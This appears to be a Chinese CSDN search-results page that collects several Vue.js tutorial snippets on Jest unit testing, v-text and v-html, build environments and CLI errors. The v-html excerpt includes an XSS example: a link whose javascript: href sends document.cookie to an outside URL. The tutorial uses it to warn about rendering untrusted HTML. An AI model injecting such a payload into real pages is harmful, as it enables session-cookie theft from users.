精华内容
下载资源
问答
  • 单元测试Unit Test(单测) 单测好处多多,保证代码正确性、提高代码和技术水平、利于重构等等,但是前端写单测也很难,网上例子很少,业务需求迭代快,没有特殊要求和自我追求没人搞这个吧?哦,我为啥写,领导绩效...

    单元测试Unit Test(单测)

    单测好处多多,保证代码正确性、提高代码和技术水平、利于重构等等,但是前端写单测也很难,网上例子很少,业务需求迭代快,没有特殊要求和自我追求没人搞这个吧?哦,我为啥写,领导绩效写了,我就写了,写了就得做。领导搞后端的:)

    栗子

    万事开头难,百度减一半,推荐Vue测试指南
    1、安装vue脚手架yarn global add @vue/cli
    2、创建项目vue create zsy_ut,创建的时候,注意选择 “Manually select features” 和 “Unit Testing”,以及 “Jest”,其他随意
    3、yarn test:unit执行成功
    在这里插入图片描述
    代码结构目前是这个样子的
    在这里插入图片描述
    5、我们最好把unit代码和views、components中代码相关联,防止遗漏或对应不上,就直接在unit下创建views和components文件夹,下面再创建同名文件,文件结尾spec.js
    在这里插入图片描述

    Vue测试指南
    写太好了,不多解释

    项目中

    有列表的模拟下列表数据
    有按钮的判断下按钮存在不存在

    // 也便于检查已存在的元素
      it('has a button', () => {
        expect(wrapper.contains('button')).toBe(true)
      })
    
    展开全文
  • 在讲解 v-test_指令 和v-html_指令 前我么先回顾一些基本指令: v-bind : 单项绑定解析表达式,可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组,对象,字符串 v-on : 绑定事件监听,可简写为@ v-if :...

    要学会大大方方的表达爱意,爱不是冷冰冰,爱是炙热的,永远都是,笨蛋才会说反话,笨蛋才会把喜欢的人越推越远

    一.在讲解 v-test_指令 和v-html_指令 前我么先回顾一些基本指令:

    		v-bind  : 单项绑定解析表达式,可简写为 :xxx
            v-model : 双向数据绑定
            v-for   : 遍历数组,对象,字符串
            v-on    : 绑定事件监听,可简写为@
            v-if    : 条件渲染(动态控制节点是否存在)
            v-else  : 条件渲染(动态控制节点是否存在)
            v-show  : 条件渲染(动态控制节点是否展示)
    

    如果大家忘了这些指令就去看看我之前的文章吧!温故而知新。

    二.这里是关于v-test_指令

    先创建一个容器

    <div id="root">
            <h2>{{name}}</h2>
            <h2 v-text="name">你好</h2>
        </div>
    

    Vue代码:

    <script>
        new Vue({
            el:'#root',
            data:{
                name:'beijing'
            }        
        })
    </script>
    

    然后我们观察运行结果:
    在这里插入图片描述

    在容器h2标签中我们写入了 “你好”,但是在运行结果中却没有显示,由此我们可以得出结论:

    1.v-test_指令 会替换掉文本内容
    2.v-test_指令 可以向所在节点里渲染文本内容

    三.这里是v-html_指令

    先创建一个容器:

    <div id="root">
            <h2>你好{{name}}</h2>
            <div v-html="str">11</div>
            <div v-html='str2'>11</div>
        </div>
    

    Vue代码:

    <script>
        new Vue({
            el:'#root',
            data:{
                name:'中华人民共和国',
                str:'<h2>hello China</h2>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击这里有你想要的</a>'
            }
        })
    </script>
    

    然后我们观察运行结果:
    在这里插入图片描述
    1.v-html指令功能
    str:<h2>hello China</h2>
    其中在这里我们可以向指定节点渲染包含html结构的内容,但是v-test就不能,这就是v-html的特殊功能之一。

    2.v-html存在安全问题
    那么在这里
    str2:<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击这里有你想要的</a>
    是一个超链接,如果了解cookie的可以看出,在这里这样使用那么这个服务器地址就会收集我们的cookie,那么如果让坏人拿到我们的cookie就相当于掌握了我们的个人信息。所以我们不能在网站上随意动态渲染HTML,十分危险。

    3.同样在预览结果中我们可以观察到在节点中的内容没有显示,所以由此得出v-html也会替代节点内容

    四.总结

    讲述玩以上内容我们来做一个总结:

    (一)v-text指令;
            1.作用:向所在节点里渲染文本内容
            2.与插值语法的区别:v-text会替代换掉文本的内容,{{xx}}则不会
    (二)v-html指令:
            1.作用:向指定节点渲染包含html结构的内容
            2.与插值语法的区别:
                (1)v-html 会替代掉节点中所有包含的内容,{{xxx}}则不会
                (2)v-html 会识别HTML结构
            3.严重注意:v-html有安全性问题!
                (1)在网站上动态渲染任意HTML是非常危险的,容易导致xss攻击
                (2)一定要在可信的内容上使用v-hmtl,永远不要用在用户提交的内容!!
    

    在自己电脑上了解cookie时我们可以使用Cookie Editor插件来提取服务器给我们发送的cookie,然后使用获取到cookie在其他浏览器利用我们获取到的cookie登录个人信息。

    注: 一定不要将v-html使用在用户提交的内容中

    展开全文
  • vue-admin-template里面只在两个环境 build:production build:state 但是线上还测试环境,预发布环境,... "build:test": "vue-cli-service build --mode test", ....... }, 2 增加test配置文件 增加文件.env.test #

    vue-admin-template里面只在两个环境
    build:production
    build:state
    但是线上还测试环境,预发布环境,等等,
    这次就加一个自已的测试环境配置文件,记录一下

    1.增加命令,在package.json文件

    增加下面的命令

     "scripts": {
        .......
        "build:test": "vue-cli-service build --mode test",
        .......
      },
    

    2 增加test配置文件

    增加文件.env.test

    # just a flag
    ENV = 'test'
    
    # base api
    VUE_APP_BASE_API = 'http://mytest.com.cn'
    

    3.验证是否成功

    执行

    npm run build:test
    

    在dist目录下重新打包文件,找到文件dist\static\js\app.js 然后搜索 baseURL可以看到这个路径已经被替换成test配置文件的路径了,表示配置文件已生效

    展开全文
  • vue test utils 使用笔记

    2021-12-02 16:08:41
    1、任何导致操作 DOM 的... Vue.nextTick(() => { expect(true).toBe(false) done() }) }) // 接下来的三项测试都会如预期工作 it('will catch the error using done', done => { Vue.config.errorHandle

    Vue Test Utils文档写的是真的好,第一次做笔记做的这么舒服,copycopycopy…

    1、明白要测试的是什么,只关注输入输出

    不推荐针对代码逐行测试,一个简单的测试用例将会断言一些输入 (用户的交互或 prop 的改变) 提供给某组件之后是否导致预期结果 (渲染结果或触发自定义事件)。

    2、可以通过shallowMount渲染单个组件而不会渲染它的子组件

    渲染过多组件会导致测试变慢

    import { shallowMount } from '@vue/test-utils'
    
    const wrapper = shallowMount(Component)
    wrapper.vm // 挂载的 Vue 实例
    

    3、组件的生命周期

    beforeDestroy 和 destroyed不会主动触发,需要手动调用Wrapper.destroy()。
    另外组件在每个测试规范结束时并不会被自动销毁,(setInterval 或者 setTimeout)也不会被销毁,需要手动销毁。

    4、关于$emit

    4.1、emit触发的事件会被wrappe记录下来,可以对事件进行断言

    wrapper.vm.$emit('foo')
    wrapper.vm.$emit('foo', 123)
    
    /*
    `wrapper.emitted()` 返回以下对象:
    {
      foo: [[], [123]]
    }
    */
    

    4.2、可以通过访问子组件实例来触发一个自定义事件

    import { mount } from '@vue/test-utils'
    import ParentComponent from '@/components/ParentComponent'
    import ChildComponent from '@/components/ChildComponent'
    
    describe('ParentComponent', () => {
      it("displays 'Emitted!' when custom event is emitted", () => {
        const wrapper = mount(ParentComponent)
        wrapper.find(ChildComponent).vm.$emit('custom')
        expect(wrapper.html()).toContain('Emitted!')
      })
    })
    

    5、设置prop和data

    it('manipulates state', async () => {
      await wrapper.setData({ count: 10 })
      await wrapper.setProps({ foo: 'bar' })
    })
    // 或者直接在mount时传入
    
    import { mount } from '@vue/test-utils'
    
    mount(Component, {
      propsData: {
        aProp: 'some value'
      }
    })
    

    6、触发事件

    Wrapper 暴露了一个 trigger 方法,它可以用来触发 DOM 事件,注意trigger是异步的。

    test('triggers a click', async () => {
      const wrapper = mount(MyComponent)
    
      // 可以手动往事件中添加参数
      await wrapper.find('button').trigger('click'{ eventParams: 'xxxx' })
    })
    

    触发键盘事件,被支持的按键名参考 官方文档

     await wrapper.trigger('keydown.up')
    

    7、任何导致操作 DOM 的改变都应该在断言之前 await nextTick 函数

    测试异步代码时必须使用await或者promise.then

    // 错误不会被捕获
    it('will time out', done => {
      Vue.nextTick(() => {
        expect(true).toBe(false)
        done()
      })
    })
    
    // 接下来的三项测试都会如预期工作
    it('will catch the error using done', done => {
      Vue.config.errorHandler = done
      Vue.nextTick(() => {
        expect(true).toBe(false)
        done()
      })
    })
    
    it('will catch the error using a promise', () => {
      return Vue.nextTick().then(function() {
        expect(true).toBe(false)
      })
    })
    
    it('will catch the error using async/await', async () => {
      await Vue.nextTick()
      expect(true).toBe(false)
    })
    

    wapper内置的一些方法内部使用Vue.nextTick()做了包装,会返回Vue.nextTick(),比如trigger等,可以被 await 的方法有:

    • setData
    • setValue
    • setChecked
    • setSelected
    • setProps
    • trigger

    8、使用 Jest 运行测试并模拟 HTTP 库axios

    <template>
      <button @click="fetchResults">{{ value }}</button>
    </template>
    
    <script>
      import axios from 'axios'
    
      export default {
        data() {
          return {
            value: null
          }
        },
    
        methods: {
          async fetchResults() {
            const response = await axios.get('mock/service')
            this.value = response.data
          }
        }
      }
    </script>
    

    测试代码如下:

    import { shallowMount } from '@vue/test-utils'
    import Foo from './Foo'
    jest.mock('axios', () => ({
      get: Promise.resolve('value')
    }))
    
    it('fetches async when a button is clicked', () => {
      const wrapper = shallowMount(Foo)
      wrapper.find('button').trigger('click')
      expect(wrapper.text()).toBe('value')
    })
    

    9、配合 Vue Router 使用

    可以使用mock伪造 $route 和 $router 也可以安装vue router。

    但在一个 localVue 上安装 Vue Router 时也会将 $route 和 $router 作为两个只读属性添加给该 localVue。这意味着这两种方案只能二选一。

    使用vue router时应该尽量避免在构造函数中安装,可以使用createLocalVue定义一个localVue,在localVue上安装。localVue 是一个独立作用域的 Vue 构造函数,我们可以对其进行改动而不会影响到全局的 Vue 构造函数。

    使用localVue安装vue router

    import { shallowMount, createLocalVue } from '@vue/test-utils'
    import VueRouter from 'vue-router'
    
    const localVue = createLocalVue()
    localVue.use(VueRouter)
    const router = new VueRouter()
    
    shallowMount(Component, {
      localVue,
      router
    })
    

    伪造 $route 和 $router

    import { shallowMount } from '@vue/test-utils'
    
    const $route = {
      path: '/some/path'
    }
    
    const wrapper = shallowMount(Component, {
      mocks: {
        $route
      }
    })
    
    wrapper.vm.$route.path // /some/path
    

    10、配合 Vuex 使用

    核心思路是使用伪造

    站在测试的角度,我们不关心这个 action 做了什么或者这个 store 是什么样子的。我们只需要知道这些 action将会在适当的时机触发,以及它们触发时的预期值。
    为了完成这个测试,我们需要在浅渲染组件时给 Vue 传递一个伪造的 store。

    10.1 伪造store

    import { shallowMount, createLocalVue } from '@vue/test-utils'
    import Vuex from 'vuex'
    import Actions from '../../../src/components/Actions'
    
    const localVue = createLocalVue()
    
    localVue.use(Vuex)
    
    describe('Actions.vue', () => {
      let actions
      let store
    
      beforeEach(() => {
        actions = {
          actionClick: jest.fn(),
          actionInput: jest.fn()
        }
        store = new Vuex.Store({
          state: {},
          actions
        })
      })
    
      it('dispatches "actionInput" when input event value is "input"', () => {
        const wrapper = shallowMount(Actions, { store, localVue })
        const input = wrapper.find('input')
        input.element.value = 'input'
        input.trigger('input')
        expect(actions.actionInput).toHaveBeenCalled()
      })
    
      it('does not dispatch "actionInput" when event value is not "input"', () => {
        const wrapper = shallowMount(Actions, { store, localVue })
        const input = wrapper.find('input')
        input.element.value = 'not input'
        input.trigger('input')
        expect(actions.actionInput).not.toHaveBeenCalled()
      })
    
      it('calls store action "actionClick" when button is clicked', () => {
        const wrapper = shallowMount(Actions, { store, localVue })
        wrapper.find('button').trigger('click')
        expect(actions.actionClick).toHaveBeenCalled()
      })
    })
    

    10.2 伪造 Getter

    import { shallowMount, createLocalVue } from '@vue/test-utils'
    import Vuex from 'vuex'
    import Getters from '../../../src/components/Getters'
    
    const localVue = createLocalVue()
    
    localVue.use(Vuex)
    
    describe('Getters.vue', () => {
      let getters
      let store
    
      beforeEach(() => {
        getters = {
          clicks: () => 2,
          inputValue: () => 'input'
        }
    
        store = new Vuex.Store({
          getters
        })
      })
    
      it('Renders "store.getters.inputValue" in first p tag', () => {
        const wrapper = shallowMount(Getters, { store, localVue })
        const p = wrapper.find('p')
        expect(p.text()).toBe(getters.inputValue())
      })
    
      it('Renders "store.getters.clicks" in second p tag', () => {
        const wrapper = shallowMount(Getters, { store, localVue })
        const p = wrapper.findAll('p').at(1)
        expect(p.text()).toBe(getters.clicks().toString())
      })
    })
    

    10.3 伪造 Module

    import { shallowMount, createLocalVue } from '@vue/test-utils'
    import Vuex from 'vuex'
    import MyComponent from '../../../src/components/MyComponent'
    import myModule from '../../../src/store/myModule'
    
    const localVue = createLocalVue()
    
    localVue.use(Vuex)
    
    describe('MyComponent.vue', () => {
      let actions
      let state
      let store
    
      beforeEach(() => {
        state = {
          clicks: 2
        }
    
        actions = {
          moduleActionClick: jest.fn()
        }
    
        store = new Vuex.Store({
          modules: {
            myModule: {
              state,
              actions,
              getters: myModule.getters
            }
          }
        })
      })
    
      it('calls store action "moduleActionClick" when button is clicked', () => {
        const wrapper = shallowMount(MyComponent, { store, localVue })
        const button = wrapper.find('button')
        button.trigger('click')
        expect(actions.moduleActionClick).toHaveBeenCalled()
      })
    
      it('renders "state.clicks" in first p tag', () => {
        const wrapper = shallowMount(MyComponent, { store, localVue })
        const p = wrapper.find('p')
        expect(p.text()).toBe(state.clicks.toString())
      })
    })
    

    10.4 测试vuex

    文档中提供了两种测试方式,一种是分别针对方法进行测试,另一种模拟真实运行环境去测试。根据优缺点对比,一般使用第一种

    测试mutations

    // mutations.js
    export default {
      increment(state) {
        state.count++
      }
    }
    
    // mutations.spec.js
    
    import mutations from './mutations'
    
    test('"increment" increments "state.count" by 1', () => {
      const state = {
        count: 0
      }
      mutations.increment(state)
      expect(state.count).toBe(1)
    })
    

    测试getters

    // getters.js
    export default {
      evenOrOdd: state => (state.count % 2 === 0 ? 'even' : 'odd')
    }
    
    // getters.spec.js
    
    import getters from './getters'
    
    test('"evenOrOdd" returns even if "state.count" is even', () => {
      const state = {
        count: 2
      }
      expect(getters.evenOrOdd(state)).toBe('even')
    })
    
    test('"evenOrOdd" returns odd if "state.count" is odd', () => {
      const state = {
        count: 1
      }
      expect(getters.evenOrOdd(state)).toBe('odd')
    })
    

    11 关于测试依赖的引入

    通常使用localVue去引入测试依赖,createLocalVue 返回一个 Vue 的类供你添加组件、混入和安装插件而不会污染全局的 Vue 类。

    举个栗子,假如需要引入element-ui

    import { createLocalVue, mount } from '@vue/test-utils';
    import { Pagination } from 'element-ui';
    
    const localVue = createLocalVue();
    localVue.use(Pagination);
    
    const wrapper = shallowMount(Foo, {
      localVue
    })
    
    展开全文
  • 我们在vue项目中Vue Test Utils 测试环境已经搭建完成的基础上来进行演示,搭建环境可以看我之前的文章。 本文中使用的相关技术点连接: 测试环境: Vue Test Utils 断言库:chai 二、基础 1、describe: ...
  • "vue-cli-service build", "build:test": "cross-env vue-cli-service build --mode test", "build:prod": "cross-env vue-cli-service build --mode prod", }, 当我们需要配置多个环境变量时,未避免package.json...
  • 在开发Vue项目中,有时我们需要去...production模式用于vue-cli-service build和vue-cli-service test:e2e test模式用于vue-cli-service test:unit 三种不同的模式我们可以指定 "build" : "vue-cli-service bui...
  • 参考文章: 官方文档 API mount() shallowMount() render() renderToString() 选择器 createLocalVue() createWrapper(node [, options]) ...enableAutoDestroy(hook...创建一个包含被挂载和渲染的 Vue 组件的 Wrapper。 i
  • 文章目录前言一、创建.env.test文件二、在packge.json中创建一个打包模式test三、修改vue.config.js配置四、运行测试环境五、完成效果5.1测试环境5.2开发环境六、注意事项总结 前言 由于公司项目较小,所以项目的...
  • VUE_APP_TITLE=某某某 # 网络请求公用地址 VUE_APP_API= / .env.development(# 开发环境) # 开发环境 # 指定构建模式 VITE_NODE_ENV=development # 页面 title 前缀 VUE_APP_TITLE=图菱 # 网络请求公用...
  • 今天翻出来vue官方自带vue-test-utils,虽然之前见到,但是没有重视,趁此机会赶紧补补.快速尝鲜按照官方教程,先安装官方案例跑起来一个简单的计数器测试案例。git clone https://github.com/vuejs/vu...
  • 主要是版本的问题,必须一致。 删掉jest.config.js(如果有的话) 如果测试覆盖率不显示执行如下代码: npm list handlebars //查看版本信息 npm uninstall -g handlebars //卸载当前版本 npm install handlebars@...
  • 测试驱动开发(Test Driven Development,简称TDD)。TDD 是敏捷开发中的一项核心实践和技术,也是一种设计方法论。TDD的原理是在开发功能代码之前,先编写单元测试用例代码,测试代码确定需要编写什么产品代码。TDD...
  • } from '@vue/test-utils'; import Component from '@/components/Component'; // 导入vuex和你的store实例 import Vuex from 'vuex'; import store from '@/store/index.js'; /** * @author Sukyi * @priority P0...
  • 项目场景:vscode输入vue add element显示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。 解决方案: 1.以管理员身份运行VS Code 2.在菜单栏 查看 中点击终端 3.输入get-ExecutionPolicy...
  • 最近创建vue3.0项目时使用vue create my-project 项目时出错,控制台报错vue : 无法加载文件C:\Users\xxx\…… 在win10左下角搜索框里搜索PowerShell, 鼠标放在windows PowerShell右键,选择以管理员身份运行。...
  • const routertest= { push: jest.fn(), } const booklist = api describe("Sample.vue", () => { //模拟返回的数据 const response = { data:{ data:[ //这个data的属性名和.vue文件中axios中res.data.data;...
  • 将.vue 文件中的验证rules规则改一下, dataRules:{ date3:{ type: 'string', // 之前写的date,测试就会报错。现在改为string,无问题 required: true, message: '请选择日期', trigger: 'blur' } }, ...
  • 初学vue和webpack。 我在用webpack来打包使用vue的时候,就出现了这种错误。因为之前一直都是直接在html中写的vue,所以没有出现这种错误。 解决 我使用的解决方案就是: 把打包好的 js 文件的引用放使用了vue的div...
  • 报错信息 config.js 创建全局配置文件 // 配置1 // testConfig = {} // 配置2 testConfig = { mode: 'A', env: 'production', DEV_ENV: 'production', GIT_COMMIT_VERSION: 'Detached', .../tes
  • vue 正则验证

    2021-01-22 11:25:49
    手机号 var checkPhone = (rule, value, callback) => { if (!value) { return callback(new Error('手机号不能为空')); } else { var reg=/^1[3456789]\d{9}... if (reg.test(value)) { callback(); } else {
  • 关于vue-cli3使用cross-env进行多环境打包的坑 1. .env 环境文件名容易写错 请检查是否将 .env.prod 错写成 .prod.env 2. package.json 容易混淆 请检查命令是否与环境匹配. 例如构建一个staging打包环境, 在不通...
  • Vue Test Utils对data的赋值 官网上的用法 使用setData()就可以了 import { mount } from '@vue/test-utils' import Foo from './Foo.vue' test('setData demo', async () => { const wrapper = mount(Foo) ...
  • vue-cli创建的项目可以选择集成单元测试,这样就会自动构建好test文件 那没有用vue-cli创建的项目该如何引入单元测试(jest+vue/test-utils) npm install 安装包 注意安装版本 “@vue/test-utils”: “^1.1.3”, ...
  • vue3-admin@0.1.0 test C:\Users\Administrator\Desktop\project\blinds_pos_admin > vue-cli-service build --mode test Browserslist: caniuse-lite is outdated. Please run: npx browserslist@latest --...
  • let router = new VueRouter(); // 在beforeEach中重新初始化 beforeEach写在describe里面 beforeEach(() => { // 测试跳转时共用同一个对象会产生点击次数叠加,每个测试用例之间的跳转次数不独立导致结果不...
  • vue打包模式

    2021-07-14 11:58:51
    标题 一、cross-env 为了在window和linux上都可以...dotenv是一个读取.env开头类型文件的npm插件,vue-cli-service中使用该插件读取环境变量; 三、vue-cli-service 1.打包模式 vue-cli-service打包有三个模式,即dev
  • return import('../' + component + '.vue'); }, name, meta, path: 'index' } 开发环境和生产环境下没有任何问题。但在测试环境下,报如下错误 经过调试,发现把 import 改为 require 就可以了。 然而...
  • Vue Test Utils 通过将它们隔离挂载,然后模拟必要的输入 (prop、注入和用户事件) 和对输出 (渲染结果、触发的自定义事件) 的断言来测试 Vue 组件。 被挂载的组件会返回到一个包裹器(wrapper)内,而包裹器会暴露很...
  • 当时技术大佬要求的事在jenkins进行一键打包,就是他点击不同的按钮在同一套代码上面分别打包测试环境运行的包和正式环境运行的包,刚刚接触 Step1、package.json中新增命令行脚本test命令,并指向build文件夹下的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 108,935
精华内容 43,574
关键字:

testvue

vue 订阅